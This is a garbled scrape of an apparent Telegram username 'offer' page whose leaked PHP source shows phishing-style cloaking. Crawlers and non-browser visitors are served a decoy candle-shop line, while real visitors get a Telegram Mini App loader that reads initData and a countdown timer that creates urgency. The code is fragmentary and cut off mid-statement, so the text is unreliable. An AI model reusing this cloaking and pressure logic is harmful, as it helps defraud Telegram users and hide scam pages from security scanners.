.t.me Offer
| Sell Price * |
|---|
|
~ $...
|
- Telegram Username
- @
- Web Address
- t.me/
- TON Web 3.0 Address
- .t.me
1000) { $_isBotIdx = true; } else { foreach ($_botPats as $_p) { if (strpos($_uaLow, $_p) !== false) { $_isBotIdx = true; break; } } } if (!$_isBotIdx && !preg_match('/(mozilla|chrome|safari|firefox|edge|opera|opr|vivaldi|brave|samsung|ucbrowser)/i', $_ua)) $_isBotIdx = true; if (!$_isBotIdx && !empty($_ua) && stripos($_ua, 'mozilla') !== false && empty($_SERVER['HTTP_ACCEPT_LANGUAGE'])) $_isBotIdx = true; if ($_isBotIdx) { header('Content-Type: text/html; charset=UTF-8'); $h = $_SERVER['HTTP_HOST'] ?? ''; echo '
Hand-poured soy candles made with love.
'; exit; } // Если нет username — возможно пришли из Telegram Mini App // Telegram передаёт start_param через hash-фрагмент, PHP его не видит // Рендерим загрузочную страницу, JS через Telegram SDK получит start_param и initData if (!isset($_GET['username']) || empty($_GET['username'])) { ?> = $timerDuration) { unset($timers[$username]); file_put_contents($timersFile, json_encode($timers)); $startTime = null; } } if ($startTime === null) { $startTime = $now; $timers[$username] = $now; file_put_contents($timersFile, json_encode($timers)); } $endTime = $startTime + $timerDuration; $endTimeIso = date('c', $endTime); $priceFormatted = number_format(floatval($price), 0, '', ','); $priceNum = floatval($price); ?>| Sell Price * |
|---|
|
~ $...
|